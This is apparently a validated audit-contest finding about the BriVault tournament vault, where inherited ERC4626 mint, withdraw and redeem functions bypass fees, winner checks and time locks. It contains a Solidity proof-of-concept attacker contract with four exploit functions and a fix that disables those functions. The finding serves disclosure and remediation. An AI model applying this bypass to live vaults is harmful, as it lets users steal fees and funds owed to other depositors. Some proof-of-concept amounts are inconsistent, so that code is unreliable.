BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

ERC4626 Standard Functions Bypass Tournament Logic

ERC4626 Standard Functions Bypass Tournament Logic

Description

  • The normal behavior is that users should only be able to deposit tokens by paying a participation fee through the custom deposit() function, and should only be able to withdraw if they bet on the winning team after the event ends.

  • The issue is that BriVault inherits from ERC4626 which provides standard mint(), withdraw(), and redeem() functions that are not overridden, allowing users to bypass all tournament logic including participation fees, winner checks, and event timing restrictions.

contract BriVault is ERC4626, Ownable {
// Only this deposit function is overridden
function deposit(uint256 assets, address receiver) public override returns (uint256) {
// ... custom logic with fees
}
// @> These ERC4626 functions are NOT overridden and remain public:
// @> function mint(uint256 shares, address receiver) public virtual returns (uint256)
// @> function withdraw(uint256 assets, address receiver, address owner) public virtual returns (uint256)
// @> function redeem(uint256 shares, address receiver, address owner) public virtual returns (uint256)
// Custom withdraw that checks winner
function withdraw() external winnerSet {
// @> But users can call inherited withdraw(uint256, address, address) instead!
}
}

Risk

Likelihood:

  • Any user who reads the contract code or uses a block explorer will see the public ERC4626 functions available

  • Requires zero technical sophistication - just calling standard ERC4626 functions that are well-documented

  • Will occur as soon as any user wants to avoid fees or withdraw after losing

  • Attack is discoverable through standard contract interaction tools like Etherscan

Impact:

  • Users can mint unlimited shares without paying the 3% participation fee, stealing fee revenue

  • Losers can withdraw their full deposits by calling redeem(), completely breaking the betting mechanics

  • Users can withdraw before event ends using standard withdraw(), breaking time locks

  • Complete economic collapse - tournament mechanics become meaningless

  • Protocol revenue drops to zero (no fees collected)

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./BriVault.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ERC4626Bypass {
BriVault public vault;
IERC20 public asset;
constructor(address _vault) {
vault = BriVault(_vault);
asset = IERC20(vault.asset());
}
// EXPLOIT 1: Bypass 3% participation fee
function bypassParticipationFee(uint256 amount) external {
// Normal way (costs 3% fee):
// deposit 1000 USDC → pay 30 USDC fee → get 970 USDC worth of shares
// Exploit way (0% fee):
asset.transferFrom(msg.sender, address(this), amount);
asset.transfer(address(vault), amount); // Donate to vault
// Call inherited ERC4626 mint
vault.mint(amount, address(this)); // Mints shares 1:1, NO FEE!
// Saved 3% (30 USDC on 1000 deposit)
}
// EXPLOIT 2: Withdraw after losing
function withdrawAfterLosing() external returns (uint256) {
// Scenario: We bet on Brazil, but France won
// Custom withdraw() would revert: didNotWin()
uint256 shares = vault.balanceOf(address(this));
// Use inherited ERC4626 redeem - NO WINNER CHECK!
uint256 assets = vault.redeem(shares, address(this), address(this));
// Successfully withdrew despite losing!
return assets;
}
// EXPLOIT 3: Withdraw before event ends
function earlyWithdrawal() external returns (uint256) {
// Event hasn't ended, but we want funds back
// Custom withdraw() would revert: eventNotEnded()
uint256 shares = vault.balanceOf(address(this));
uint256 assets = vault.convertToAssets(shares);
// Use inherited ERC4626 withdraw - NO TIME CHECK!
vault.withdraw(assets, address(this), address(this));
// Successfully withdrew before event ended!
return assets;
}
// EXPLOIT 4: Complete bypass demonstration
function completeBypass() external {
// 1. Deposit without fee
asset.approve(address(vault), 1000e6);
asset.transfer(address(vault), 1000e6);
vault.mint(1000e18, address(this)); // 0 fee paid
// 2. Never join event (skip team selection)
// Don't call vault.joinEvent()
// 3. Immediately withdraw (before event even starts)
vault.redeem(1000e18, address(this), address(this));
// Used vault as free storage, paid 0 fees, no participation
}
}
// Real Attack Scenario:
// Tournament has 100 participants, each deposited 1000 USDC properly
// - Total deposits: 100,000 USDC
// - Fees collected: 3,000 USDC
// - Vault has: 97,000 USDC
//
// Attacker uses bypass:
// - Deposits 10,000 USDC via mint() - pays 0 fee (saved 300 USDC)
// - Now vault has 107,000 USDC
// - Event ends, attacker's team LOSES
// - Attacker calls redeem(10,000 shares)
// - Withdraws 10,000 USDC despite losing!
//
// Impact on winners:
// - Vault now has 97,000 USDC but should have 107,000
// - Winners who legitimately won only get 90.7% of expected payout
// - Attacker stole 300 USDC in fees + withdrew despite losing

Recommended Mitigation

contract BriVault is ERC4626, Ownable {
+ // Error for disabled functions
+ error ERC4626FunctionDisabled();
+ // Override and disable standard ERC4626 deposit functions
+ function mint(uint256, address) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
+
+ // Override and disable standard ERC4626 withdrawal functions
+ function withdraw(uint256, address, address) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
+
+ function redeem(uint256, address, address) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
+
+ // Also disable preview functions to avoid user confusion
+ function previewWithdraw(uint256) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
+
+ function previewRedeem(uint256) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
+
+ function previewMint(uint256) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
// Keep only custom deposit with fee logic
function deposit(uint256 assets, address receiver) public override returns (uint256) {
// ... existing implementation with fees
}
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!